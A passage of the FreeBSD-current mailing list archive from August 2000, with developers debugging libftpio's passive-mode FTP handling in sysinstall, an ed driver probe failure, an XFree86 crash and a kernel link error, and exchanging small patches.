(8.11.0/8.11.0/peace) with ESMTP/inet6 id e7HHbPv20101; Fri, 18 Aug 2000 02:37:25 +0900 (JST) (envelope-from ume@mahoroba.org) Date: Fri, 18 Aug 2000 02:37:21 +0900 (JST) Message-Id: <20000818.023721.115915969.ume@mahoroba.org> To: archie@whistle.com Cc: freebsd-current@freebsd.org Subject: Re: 5.0 snapshot install problem From: Hajimu UMEMOTO In-Reply-To: <200008171723.KAA94975@bubba.whistle.com> References: <20000818.005433.112615995.ume@mahoroba.org> <200008171723.KAA94975@bubba.whistle.com> X-Mailer: xcite1.20> Mew version 1.95b38 on Emacs 20.6 / Mule 4.0 =?iso-2022-jp?B?KBskQjJWMWMbKEIp?= X-PGP-Public-Key: http://www.imasy.org/~ume/publickey.asc X-PGP-Fingerprint: 6B 0C 53 FC 5D D0 37 91 05 D0 B3 EF 36 9B 6A BC X-URL: http://www.imasy.org/~ume/ X-OS: FreeBSD 5.0-CURRENT Mime-Version: 1.0 Content-Type: Text/Plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG >>>>> On Thu, 17 Aug 2000 10:23:17 -0700 (PDT) >>>>> Archie Cobbs said: archie> Hajimu UMEMOTO writes: > archie> I'm having trouble installing the 5.0-20000815-CURRENT snapshot. > archie> The problem seems to be broken behavior in the installer FTP client. > archie> My firewall requires using passive mode. The installer asks the > archie> FTP server for passive mode (using PASV), but then it bogusly asks > archie> for active mode (using the PORT command) immediately afterwards. > archie> Yes I selected 'passive mode ftp' for the transfer method. > > It seems -CURRENT's libftpio.c always set passive flag according to > environment variable FTP_PASSIVE_MODE. Then, PASV/PORT selection > obeys only FTP_PASSIVE_MODE and direction of sysinstall is ignored. > Does this patch fix your problem? archie> Don't know, because I'd have to create new install floppies first.. archie> But I don't think this patch would fix things.. I don't see any archie> logical flaw there. ftpPassive() just checks that the toggle is archie> set to the right value -- it doesn't necessarily do anything. After checking, FTP_PASSIVE_MODE is tested by check_passive() every fetGET() call. check_passive() calls ftpPassive(). So, ftp->is_passive is resetted. archie> The only way I can see that PASV would be sent immediately followed archie> by PORT is due to incorrect logic in the installer (or possibly a archie> bug in libftpio's parsing of the 227 reply). I think no. Your tcpdump shows both PASV and PORT were issued. I think first PASV was issued by ftpPassive() called from sytinstll and PORT was issued by ftp_file_op() called by ftpGet(). -- Hajimu UMEMOTO @ Internet Mutual Aid Society Yokohama, Japan ume@mahoroba.org ume@bisd.hitachi.co.jp ume@FreeBSD.org http://www.imasy.org/~ume/ To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Thu Aug 17 12:27:26 2000 Delivered-To: freebsd-current@freebsd.org Received: from ego.mind.net (ego.mind.net [206.99.66.9]) by hub.freebsd.org (Postfix) with ESMTP id A8BC037B62B for ; Thu, 17 Aug 2000 12:27:21 -0700 (PDT) Received: from takhus-home.ashlandfn.org (AFN-Dynamic-21924.ashlandfiber.net [208.46.219.24]) by ego.mind.net (8.9.3/8.9.3) with ESMTP id MAA26403 for ; Thu, 17 Aug 2000 12:27:13 -0700 From: takhus@takhus.mind.net Received: from localhost (fleisher@localhost) by takhus-home.ashlandfn.org (8.11.0/8.9.3) with ESMTP id e7HIMXx32916 for ; Thu, 17 Aug 2000 11:22:34 -0700 (PDT) (envelope-from takhus@takhus.mind.net) Date: Thu, 17 Aug 2000 11:22:33 -0700 (PDT) X-Sender: fleisher@takhus-home.ashlandfn.org To: freebsd-current@freebsd.org Subject: Problems with XFree86 Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Hello, I am having problems getting XFree86 to run under a recent version of -current and was hoping that someone might be able to help me to figure out what that problem is. At this point I very close to frustration with this process, so might be overlooking something obvious. Here is the situation: I installed 4.1-RELEASE last week (full install, including XFree86). The X server that comes with 4.1-R had problems with my video card (ATI Rage Fury Maxx), so I installed the XFree86-4 port (XFree86 4.0.1), reconfigured /etc/XF86Config, and was able to run XFree without any problem (using the "r128" driver). (OK, I am using 'startx' to start X, and this config did produce a few messages on the tty about "memory already clear" or something like that, but X did startup fine and was useable.) -- I then cvsupped to -current on Sunday, and when I rebooted, XFree86 was catching signal 10, causing XFree86 to exit on signal 6 (according to the log file). (No change was made to the /etc/XFree86Config) On Tuesday, I did another cvsup, with the same results. Next, I did a cvsup on ports-all, cleaned all X11 components from my system (including removing /usr/X11R6 and 'make clean' in /usr/ports), and then tried to rebuild XFree86-4 from the ports. After all of this, I still got the same exit condition from XFree86. (I even tried using sw_cursor and noaccell in the config file, but that didn't help, nor did using a different color depth or resolution.) My next thought was that something else had changed on the system, so I updated the entire /etc directory from that contained in the -current tree and rebooted, but that didn't seem to make any difference either. I was able to get the standard VGA Xserver to run, but 320x200 resolution is really not acceptable to me. So, my question, has there been a change in the -current tree that would cause a breakage in XFree86-4? Where would be a good place to look for more information about this? (I have searched the mailing list archives and have not found any information about this problem.) Am I just overlooking something incredibly obvious here? I have the log file that XFree86 dropped into /var/log, but do not understand enough about what it is reporting for that to be helpful to me. Some more information: MB: Asus K7V CPU: Athlon 750 RAM: 256M SDRAM Vid: ATI Rage Fury Maxx (dual Rage 128 Pro chipsets) Thanks for any help, TOny. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Thu Aug 17 18:47: 8 2000 Delivered-To: freebsd-current@freebsd.org Received: from alcanet.com.au (mail.alcanet.com.au [203.62.196.10]) by hub.freebsd.org (Postfix) with SMTP id D7E2537B82F for ; Thu, 17 Aug 2000 18:47:03 -0700 (PDT) Received: by border.alcanet.com.au id <115251>; Fri, 18 Aug 2000 09:57:08 +1000 Content-return: prohibited Date: Fri, 18 Aug 2000 09:56:56 +1000 From: Peter Jeremy Subject: Re: Newbusifying ed broke it In-reply-to: <86vgx09v8y.wl@bunko.carrots.uucp.r.dl.itc.u-tokyo.ac.jp.nkth.carrots.uucp.r.dl.itc.u-tokyo.ac.jp>; from tanimura@r.dl.itc.u-tokyo.ac.jp on Thu, Aug 17, 2000 at 04:55:57PM +0900 To: Seigo Tanimura Cc: freebsd-current@FreeBSD.ORG Mail-followup-to: Seigo Tanimura , freebsd-current@FreeBSD.ORG Message-Id: <00Aug18.095708est.115251@border.alcanet.com.au> MIME-version: 1.0 Content-type: text/plain; charset=us-ascii Content-disposition: inline User-Agent: Mutt/1.2.4i References: <00Aug17.111332est.115207@border.alcanet.com.au> <86wvhga6sg.wl@bunko.carrots.uucp.r.dl.itc.u-tokyo.ac.jp.nkth.carrots.uucp.r.dl.itc.u-tokyo.ac.jp> <00Aug17.153605est.115251@border.alcanet.com.au> <86vgx09v8y.wl@bunko.carrots.uucp.r.dl.itc.u-tokyo.ac.jp.nkth.carrots.uucp.r.dl.itc.u-tokyo.ac.jp> Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On 2000-Aug-17 16:55:57 +0900, Seigo Tanimura wrote: >On Thu, 17 Aug 2000 15:35:59 +1000, > Peter Jeremy said: > >peter.jeremy> Still not working. It now reports: >peter.jeremy> ed0: failed to clear shared memory at 0 - check configuration > >The probe routine cleared and tested IO port instead of memory. Does >the following patch work? No, sorry. Exactly the same as the previous patch - it still thinks the shared memory is at 0. Peter To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Thu Aug 17 18:48:59 2000 Delivered-To: freebsd-current@freebsd.org Received: from mx1.FreeBSD.org (mx1.FreeBSD.org [216.136.129.65]) by hub.freebsd.org (Postfix) with ESMTP id F35F437B8EF for ; Thu, 17 Aug 2000 18:48:55 -0700 (PDT) Received: from peace.mahoroba.org (peace.calm.imasy.or.jp [202.227.26.34]) by mx1.FreeBSD.org (Postfix) with ESMTP id 0D4A56E4001 for ; Thu, 17 Aug 2000 13:54:22 -0700 (PDT) Received: from localhost (IDENT:SMYNHeopr5IwVta91W0310adEg/wveySrhD/s00H55OF3ofIsoQec+vPz7eUgTfG@localhost [::1]) (authenticated) by peace.mahoroba.org (8.11.0/8.11.0/peace) with ESMTP/inet6 id e7HKpav21384; Fri, 18 Aug 2000 05:51:36 +0900 (JST) (envelope-from ume@mahoroba.org) Date: Fri, 18 Aug 2000 05:51:33 +0900 (JST) Message-Id: <20000818.055133.48522708.ume@mahoroba.org> To: archie@whistle.com Cc: freebsd-current@freebsd.org Subject: Re: 5.0 snapshot install problem From: Hajimu UMEMOTO In-Reply-To: <200008172029.NAA96024@bubba.whistle.com> References: <20000818.023721.115915969.ume@mahoroba.org> <200008172029.NAA96024@bubba.whistle.com> X-Mailer: xcite1.20> Mew version 1.95b38 on Emacs 20.6 / Mule 4.0 =?iso-2022-jp?B?KBskQjJWMWMbKEIp?= X-PGP-Public-Key: http://www.imasy.org/~ume/publickey.asc X-PGP-Fingerprint: 6B 0C 53 FC 5D D0 37 91 05 D0 B3 EF 36 9B 6A BC X-URL: http://www.imasy.org/~ume/ X-OS: FreeBSD 5.0-CURRENT Mime-Version: 1.0 Content-Type: Text/Plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG >>>>> On Thu, 17 Aug 2000 13:29:27 -0700 (PDT) >>>>> Archie Cobbs said: archie> Hajimu UMEMOTO writes: > > It seems -CURRENT's libftpio.c always set passive flag according to > > environment variable FTP_PASSIVE_MODE. Then, PASV/PORT selection > > obeys only FTP_PASSIVE_MODE and direction of sysinstall is ignored. > > Does this patch fix your problem? > > archie> Don't know, because I'd have to create new install floppies first.. > > archie> But I don't think this patch would fix things.. I don't see any > archie> logical flaw there. ftpPassive() just checks that the toggle is > archie> set to the right value -- it doesn't necessarily do anything. > > After checking, FTP_PASSIVE_MODE is tested by check_passive() every > fetGET() call. check_passive() calls ftpPassive(). So, > ftp->is_passive is resetted. archie> OK, now I think I see part of the problem.. check out ftpPassive(): ...snip... archie> This is completely wrong. The comment "passive mode is a toggle" archie> is incorrect. It's correct when you're talking about ftp(1)'s archie> "pass" command, but NOT true in the FTP protocol. Therefore archie> ftpPassive() should not be issuing any PASV command at all; the archie> sending of the PASV or PORT command (which applies per-transfer) archie> is handled by ftp_file_op() anyway (so the one sent by ftpPassive() archie> ends up having no effect anyway). archie> What must be happening is that sysinstall is actually setting archie> up an active mode connection, and the PASV is simply the extraneous archie> one emitted by ftpPassive(). Yes, I agree with it. However, it doesn't solve your problem. archie> But why is sysinstall going to active mode? I *know* FTP passive archie> was selected.. This is just because ftpPassive() is called from ftpGet(). ftpGet() check_passive() ftpPassive() Further more, if FTP_PASSIVE_MODE is not set, check_passive() calls ftpPassive(fp, 0). First, sysinstall calls ftpPassive() to intend to use PASV. Then, ftp->is_passive is reset to 1. Next, ftpGet() calls ftpPassive() according to the setting of FTP_PASSIVE_MODE. In installer, FTP_PASSIVE_MODE is not set. Then, ftp->is_passive is reset to 0 by ftpPassive() toggle. So, ftp_file_op() issues PORT. -- Hajimu UMEMOTO @ Internet Mutual Aid Society Yokohama, Japan ume@mahoroba.org ume@bisd.hitachi.co.jp ume@FreeBSD.org http://www.imasy.org/~ume/ To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Thu Aug 17 18:52: 2 2000 Delivered-To: freebsd-current@freebsd.org Received: from mx1.FreeBSD.org (mx1.FreeBSD.org [216.136.129.65]) by hub.freebsd.org (Postfix) with ESMTP id 7589837BBE1 for ; Thu, 17 Aug 2000 18:50:54 -0700 (PDT) Received: from escape.com (escape.com [198.6.71.10]) by mx1.FreeBSD.org (Postfix) with ESMTP id C67066E407E for ; Thu, 17 Aug 2000 14:10:53 -0700 (PDT) Received: from localhost (zhaoc@localhost) by escape.com (8.9.0/8.9.1) with ESMTP id RAA22862 for ; Thu, 17 Aug 2000 17:22:03 -0400 (EDT) Date: Thu, 17 Aug 2000 17:22:02 -0400 (EDT) From: OCtane To: freebsd-current@freebsd.org Subject: Off topic question regarding Digital River, ftp.cdrom.com, ftp.freebsd.org, etc. Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Hi, sorry for this somewhat off topic question, but I felt that the people "In the know" would probably be here. I was doing some traceroutes to determine the best ftp mirror to retrieve my favorite OS from, and noticed some changes in the way the servers are set up. I don't remember reading any news reports/press releases regarding this, so I'd appreciate it if someone could point me to some info or satisfy my curiosity. As I recall, ftp.freebsd.org was always the same machine as ftp.cdrom.com? Has freebsd's main repository been spun off from cdrom.com? It seems that ftp.freebsd.org (now apparently freesoftware.com) is hosted by lightning.net, while ftp.cdrom.com stays at what has become Applied Theory. Does this have anything to do with BSDi buying out Walnut Creek? And what is Digital River? Is this a sub division of BSDi? The ftp login banner at ftp.cdrom.com has a fairly terse warning against linking to files within the archive. That really surprised me, since the way they phrased it reminded me of that whole can-of-worms regarding the deep linking of web pages... (And there are strong opinions regarding that.) So if ftp.freebsd.org is now a different server, are it's specs available? I was just curious since I noticed that it too has a max user limit of 5000, just like cdrom.com. Oh and there seems to be a routing loop to www.freebsd.org. Keeps looping between 165.113.118.1 and 165.113.118.2. Hope that comes up soon. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Thu Aug 17 18:54:38 2000 Delivered-To: freebsd-current@freebsd.org Received: from mx1.FreeBSD.org (mx1.FreeBSD.org [216.136.129.65]) by hub.freebsd.org (Postfix) with ESMTP id 327A937BB37; Thu, 17 Aug 2000 18:51:23 -0700 (PDT) Received: from gatekeeper.whistle.com (gatekeeper.whistle.com [207.76.204.2]) by mx1.FreeBSD.org (Postfix) with ESMTP id 31BBF6E40DB; Thu, 17 Aug 2000 17:44:05 -0700 (PDT) Received: from bubba.whistle.com (bubba.whistle.com [207.76.205.7]) by gatekeeper.whistle.com (8.9.3/8.9.3) with ESMTP id RAA13004; Thu, 17 Aug 2000 17:44:09 -0700 (PDT) (envelope-from archie@whistle.com) Received: (from archie@localhost) by bubba.whistle.com (8.9.3/8.9.3) id RAA02361; Thu, 17 Aug 2000 17:44:09 -0700 (PDT) (envelope-from archie) From: Archie Cobbs Message-Id: <200008180044.RAA02361@bubba.whistle.com> Subject: Re: LINT doesn't compile In-Reply-To: <54041.966459265@critter> from Poul-Henning Kamp at "Aug 16, 2000 10:54:25 pm" To: Poul-Henning Kamp Date: Thu, 17 Aug 2000 17:44:09 -0700 (PDT) Cc: current@FreeBSD.ORG X-Mailer: ELM [version 2.4ME+ PL68 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Poul-Henning Kamp writes: > linking kernel > umodem.o: In function `umodem_set_line_coding': > umodem.o(.text+0xe6a): undefined reference to `memcmp' Somebody remind me again why we don't make memcmp(), memset(), and memmove() available in the kernel? Seems silly, especially since we have things like qsort() and srandom() for instance. -Archie ___________________________________________________________________________ Archie Cobbs * Whistle Communications, Inc. * http://www.whistle.com To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Thu Aug 17 18:54:50 2000 Delivered-To: freebsd-current@freebsd.org Received: from mx1.FreeBSD.org (mx1.FreeBSD.org [216.136.129.65]) by hub.freebsd.org (Postfix) with ESMTP id 1D94337BDF9 for ; Thu, 17 Aug 2000 18:51:27 -0700 (PDT) Received: from gatekeeper.whistle.com (gatekeeper.whistle.com [207.76.204.2]) by mx1.FreeBSD.org (Postfix) with ESMTP id 8090C6E3A95 for ; Thu, 17 Aug 2000 13:30:41 -0700 (PDT) Received: from bubba.whistle.com (bubba.whistle.com [207.76.205.7]) by gatekeeper.whistle.com (8.9.3/8.9.3) with ESMTP id NAA10784; Thu, 17 Aug 2000 13:29:28 -0700 (PDT) (envelope-from archie@whistle.com) Received: (from archie@localhost) by bubba.whistle.com (8.9.3/8.9.3) id NAA96024; Thu, 17 Aug 2000 13:29:27 -0700 (PDT) (envelope-from archie) From: Archie Cobbs Message-Id: <200008172029.NAA96024@bubba.whistle.com> Subject: Re: 5.0 snapshot install problem In-Reply-To: <20000818.023721.115915969.ume@mahoroba.org> from Hajimu UMEMOTO at "Aug 18, 2000 02:37:21 am" To: Hajimu UMEMOTO Date: Thu, 17 Aug 2000 13:29:27 -0700 (PDT) Cc: freebsd-current@freebsd.org X-Mailer: ELM [version 2.4ME+ PL68 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Hajimu UMEMOTO writes: > > It seems -CURRENT's libftpio.c always set passive flag according to > > environment variable FTP_PASSIVE_MODE. Then, PASV/PORT selection > > obeys only FTP_PASSIVE_MODE and direction of sysinstall is ignored. > > Does this patch fix your problem? > > archie> Don't know, because I'd have to create new install floppies first.. > > archie> But I don't think this patch would fix things.. I don't see any > archie> logical flaw there. ftpPassive() just checks that the toggle is > archie> set to the right value -- it doesn't necessarily do anything. > > After checking, FTP_PASSIVE_MODE is tested by check_passive() every > fetGET() call. check_passive() calls ftpPassive(). So, > ftp->is_passive is resetted. OK, now I think I see part of the problem.. check out ftpPassive(): /* Unlike binary mode, passive mode is a toggle! :-( */ int ftpPassive(FILE *fp, int st) { FTP_t ftp = fcookie(fp); int i; if (ftp->is_passive == st) return SUCCESS; switch (ftp->addrtype) { case AF_INET: i = cmd(ftp, "PASV"); if (i < 0) return i; if (i != FTP_PASSIVE_HAPPY) return FAILURE; break; case AF_INET6: i = cmd(ftp, "EPSV"); if (i < 0) return i; if (i != FTP_EPASSIVE_HAPPY) { i = cmd(ftp, "LPSV"); if (i < 0) return i; if (i != FTP_LPASSIVE_HAPPY) return FAILURE; } break; } ftp->is_passive = !ftp->is_passive; return SUCCESS; } This is completely wrong. The comment "passive mode is a toggle" is incorrect. It's correct when you're talking about ftp(1)'s "pass" command, but NOT true in the FTP protocol. Therefore ftpPassive() should not be issuing any PASV command at all; the sending of the PASV or PORT command (which applies per-transfer) is handled by ftp_file_op() anyway (so the one sent by ftpPassive() ends up having no effect anyway). What must be happening is that sysinstall is actually setting up an active mode connection, and the PASV is simply the extraneous one emitted by ftpPassive(). But why is sysinstall going to active mode? I *know* FTP passive was selected.. In the meantime, I'll fix ftpPassive().. -Archie ___________________________________________________________________________ Archie Cobbs * Whistle Communications, Inc. * http://www.whistle.com To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Thu Aug 17 18:56:30 2000 Delivered-To: freebsd-current@freebsd.org Received: from mx1.FreeBSD.org (mx1.FreeBSD.org [216.136.129.65]) by hub.freebsd.org (Postfix) with ESMTP id 2ABF137BF11 for ; Thu, 17 Aug 2000 18:51:43 -0700 (PDT) Received: from gatekeeper.whistle.com (gatekeeper.whistle.com [207.76.204.2]) by mx1.FreeBSD.org (Postfix) with ESMTP id E9EB96E3C78 for ; Thu, 17 Aug 2000 14:43:08 -0700 (PDT) Received: from bubba.whistle.com (bubba.whistle.com [207.76.205.7]) by gatekeeper.whistle.com (8.9.3/8.9.3) with ESMTP id OAA11392; Thu, 17 Aug 2000 14:41:55 -0700 (PDT) (envelope-from archie@whistle.com) Received: (from archie@localhost) by bubba.whistle.com (8.9.3/8.9.3) id OAA96335; Thu, 17 Aug 2000 14:41:47 -0700 (PDT) (envelope-from archie) From: Archie Cobbs Message-Id: <200008172141.OAA96335@bubba.whistle.com> Subject: Re: 5.0 snapshot install problem In-Reply-To: <20000818.055133.48522708.ume@mahoroba.org> from Hajimu UMEMOTO at "Aug 18, 2000 05:51:33 am" To: Hajimu UMEMOTO Date: Thu, 17 Aug 2000 14:41:47 -0700 (PDT) Cc: freebsd-current@freebsd.org X-Mailer: ELM [version 2.4ME+ PL68 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Hajimu UMEMOTO writes: > archie> But why is sysinstall going to active mode? I *know* FTP passive > archie> was selected.. > > This is just because ftpPassive() is called from ftpGet(). > > ftpGet() > check_passive() > ftpPassive() > > Further more, if FTP_PASSIVE_MODE is not set, check_passive() calls > ftpPassive(fp, 0). > First, sysinstall calls ftpPassive() to intend to use PASV. Then, > ftp->is_passive is reset to 1. > Next, ftpGet() calls ftpPassive() according to the setting of > FTP_PASSIVE_MODE. In installer, FTP_PASSIVE_MODE is not set. Then, > ftp->is_passive is reset to 0 by ftpPassive() toggle. > So, ftp_file_op() issues PORT. Yes, now I understand.. you and your patch are exactly right. A combined patch is below; please review. -Archie ___________________________________________________________________________ Archie Cobbs * Whistle Communications, Inc. * http://www.whistle.com diff -ur /usr/src/lib/libftpio/ftpio.3 ./ftpio.3 --- /usr/src/lib/libftpio/ftpio.3 Mon Aug 7 14:14:40 2000 +++ ./ftpio.3 Thu Aug 17 14:39:48 2000 @@ -213,8 +213,10 @@ .Tn FTP connection. .It Ev FTP_PASSIVE_MODE -Force the use of passive mode -.Tn FTP . +If defined, forces the use of passive mode, unless equal +to ``NO'' or ``no'' in which case active mode is forced. +If defined, the setting of this variable always overrides any calls to +.Fn ftpPassive . .El .Sh BUGS I'm sure you can get this thing's internal state machine confused if diff -ur /usr/src/lib/libftpio/ftpio.c ./ftpio.c --- /usr/src/lib/libftpio/ftpio.c Mon Aug 7 14:14:40 2000 +++ ./ftpio.c Thu Aug 17 14:36:10 2000 @@ -327,37 +327,12 @@ return NULL; } -/* Unlike binary mode, passive mode is a toggle! :-( */ int ftpPassive(FILE *fp, int st) { FTP_t ftp = fcookie(fp); - int i; - if (ftp->is_passive == st) - return SUCCESS; - switch (ftp->addrtype) { - case AF_INET: - i = cmd(ftp, "PASV"); - if (i < 0) - return i; - if (i != FTP_PASSIVE_HAPPY) - return FAILURE; - break; - case AF_INET6: - i = cmd(ftp, "EPSV"); - if (i < 0) - return i; - if (i != FTP_EPASSIVE_HAPPY) { - i = cmd(ftp, "LPSV"); - if (i < 0) - return i; - if (i != FTP_LPASSIVE_HAPPY) - return FAILURE; - } - break; - } - ftp->is_passive = !ftp->is_passive; + ftp->is_passive = !!st; /* normalize "st" to zero or one */ return SUCCESS; } @@ -545,12 +520,17 @@ return i; } +/* + * This function checks whether the FTP_PASSIVE_MODE environment + * variable is set, and, if so, enforces the desired mode. + */ static void check_passive(FILE *fp) { - char *cp = getenv("FTP_PASSIVE_MODE"); + const char *cp = getenv("FTP_PASSIVE_MODE"); - ftpPassive(fp, (cp && strncasecmp(cp, "no", 2))); + if (cp != NULL) + ftpPassive(fp, strncasecmp(cp, "no", 2)); } static void To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Thu Aug 17 19:23:40 2000 Delivered-To: freebsd-current@freebsd.org Received: from khavrinen.lcs.mit.edu (khavrinen.lcs.mit.edu [18.24.4.193]) by hub.freebsd.org (Postfix) with ESMTP id 0E92237B440 for ; Thu, 17 Aug 2000 19:23:37 -0700 (PDT) Received: (from wollman@localhost) by khavrinen.lcs.mit.edu (8.9.3/8.9.3) id WAA68580; Thu, 17 Aug 2000 22:23:27 -0400 (EDT) (envelope-from wollman) Date: Thu, 17 Aug 2000 22:23:27 -0400 (EDT) From: Garrett Wollman Message-Id: <200008180223.WAA68580@khavrinen.lcs.mit.edu> To: Archie Cobbs Cc: current@FreeBSD.ORG Subject: Re: LINT doesn't compile In-Reply-To: <200008180044.RAA02361@bubba.whistle.com> References: <54041.966459265@critter> <200008180044.RAA02361@bubba.whistle.com> Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG < said: > Somebody remind me again why we don't make memcmp(), memset(), > and memmove() available in the kernel? To keep the compiler from pessimizing them. -GAWollman -- Garrett A. Wollman | O Siem / We are all family / O Siem / We're all the same wollman@lcs.mit.edu | O Siem / The fires of freedom Opinions not those of| Dance in the burning flame MIT, LCS, CRS, or NSA| - Susan Aglukark and Chad Irschick To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Thu Aug 17 21:41:49 2000 Delivered-To: freebsd-current@freebsd.org Received: from rina.r.dl.itc.u-tokyo.ac.jp (rina.r.dl.itc.u-tokyo.ac.jp [133.11.199.247]) by hub.freebsd.org (Postfix) with ESMTP id C76DE37B424 for ; Thu, 17 Aug 2000 21:41:43 -0700 (PDT) Received: from rina.r.dl.itc.u-tokyo.ac.jp (tanimura@localhost [127.0.0.1]) by rina.r.dl.itc.u-tokyo.ac.jp (8.9.3+3.2W/3.7W-rina.r-0.1-11.01.2000) with ESMTP/IPv4 id NAA01948; Fri, 18 Aug 2000 13:41:30 +0900 (JST) Date: Fri, 18 Aug 2000 13:41:29 +0900 Message-ID: <14748.48761.18061.79412F@rina> From: Seigo Tanimura To: Peter Jeremy Cc: tanimura@r.dl.itc.u-tokyo.ac.jp, freebsd-current@FreeBSD.ORG Subject: Re: Newbusifying ed broke it In-Reply-To: In your message of "Fri, 18 Aug 2000 09:56:56 +1000" <00Aug18.095723est.115219@border.alcanet.com.au> References: <00Aug17.111332est.115207@border.alcanet.com.au> <86wvhga6sg.wl@bunko.carrots.uucp.r.dl.itc.u-tokyo.ac.jp.nkth.carrots.uucp.r.dl.itc.u-tokyo.ac.jp> <00Aug17.153605est.115251@border.alcanet.com.au> <86vgx09v8y.wl@bunko.carrots.uucp.r.dl.itc.u-tokyo.ac.jp.nkth.carrots.uucp.r.dl.itc.u-tokyo.ac.jp> <00Aug18.095723est.115219@border.alcanet.com.au> User-Agent: Wanderlust/1.0.3 (Notorious) SEMI/1.13.4 (Terai) FLIM/1.12.7 (=?ISO-8859-4?Q?Y=FEzaki?=) MULE XEmacs/21.1 (patch 9) (Canyonlands) (i386--freebsd) Organization: Digital Library Research Division, Information Techinology Centre, The University of Tokyo MIME-Version: 1.0 (generated by SEMI 1.13.4 - "Terai") Content-Type: multipart/mixed; boundary="Multipart_Fri_Aug_18_13:41:28_2000-1" Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG --Multipart_Fri_Aug_18_13:41:28_2000-1 Content-Type: text/plain; charset=US-ASCII On Fri, 18 Aug 2000 09:56:56 +1000, Peter Jeremy said: Peter> On 2000-Aug-17 16:55:57 +0900, Seigo Tanimura wrote: >> On Thu, 17 Aug 2000 15:35:59 +1000, >> Peter Jeremy said: >> >> peter.jeremy> Still not working. It now reports: >> peter.jeremy> ed0: failed to clear shared memory at 0 - check configuration >> >> The probe routine cleared and tested IO port instead of memory. Does >> the following patch work? Peter> No, sorry. Exactly the same as the previous patch - it still thinks Peter> the shared memory is at 0. The memory resource of the card might not be allocated properly. Could you apply the following patch and report what your kernel print? --Multipart_Fri_Aug_18_13:41:28_2000-1 Content-Type: text/plain; type=patch; charset=US-ASCII Content-Disposition: attachment; filename="if_ed-3.diff" Content-Transfer-Encoding: 7bit --- if_ed.c.org Thu Aug 17 16:05:59 2000 +++ if_ed.c Fri Aug 18 13:35:14 2000 @@ -435,6 +435,7 @@ &conf_maddr, &conf_msize); if (error) return (error); + device_printf(dev, "conf_maddr = 0x%x.\n", conf_maddr); #if ED_DEBUG printf("type = %x type_str=%s isa16bit=%d memsize=%d id_msize=%d\n", @@ -535,6 +536,7 @@ return (error); } sc->mem_start = 0; + device_printf(dev, "tag(mem_res) = %d, handle(mem_res) = 0x%x.\n", rman_get_bustag(sc->mem_res), rman_get_bushandle(sc->mem_res)); /* * allocate one xmit buffer if < 16k, two buffers otherwise --Multipart_Fri_Aug_18_13:41:28_2000-1 Content-Type: text/plain; charset=US-ASCII -- Seigo Tanimura --Multipart_Fri_Aug_18_13:41:28_2000-1-- To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Thu Aug 17 22:51:26 2000 Delivered-To: freebsd-current@freebsd.org Received: from alcanet.com.au (mail.alcanet.com.au [203.62.196.10]) by hub.freebsd.org (Postfix) with SMTP id 44DB237B507 for ; Thu, 17 Aug 2000 22:51:23 -0700 (PDT) Received: by border.alcanet.com.au id <115279>; Fri, 18 Aug 2000 15:51:17 +1000 Content-return: prohibited Date: Fri, 18 Aug 2000 15:51:01 +1000 From: Peter Jeremy Subject: Re: Newbusifying ed broke it In-reply-to: <14748.48761.18061.79412F@rina>; from tanimura@r.dl.itc.u-tokyo.ac.jp on Fri, Aug 18, 2000 at 01:41:29PM +0900 To: Seigo Tanimura Cc: freebsd-current@FreeBSD.ORG Mail-followup-to: Seigo Tanimura , freebsd-current@FreeBSD.ORG Message-Id: <00Aug18.155117est.115279@border.alcanet.com.au> MIME-version: 1.0 Content-type: text/plain; charset=us-ascii Content-disposition: inline User-Agent: Mutt/1.2.4i References: <00Aug17.111332est.115207@border.alcanet.com.au> <86wvhga6sg.wl@bunko.carrots.uucp.r.dl.itc.u-tokyo.ac.jp.nkth.carrots.uucp.r.dl.itc.u-tokyo.ac.jp> <00Aug17.153605est.115251@border.alcanet.com.au> <86vgx09v8y.wl@bunko.carrots.uucp.r.dl.itc.u-tokyo.ac.jp.nkth.carrots.uucp.r.dl.itc.u-tokyo.ac.jp> <00Aug18.095723est.115219@border.alcanet.com.au> 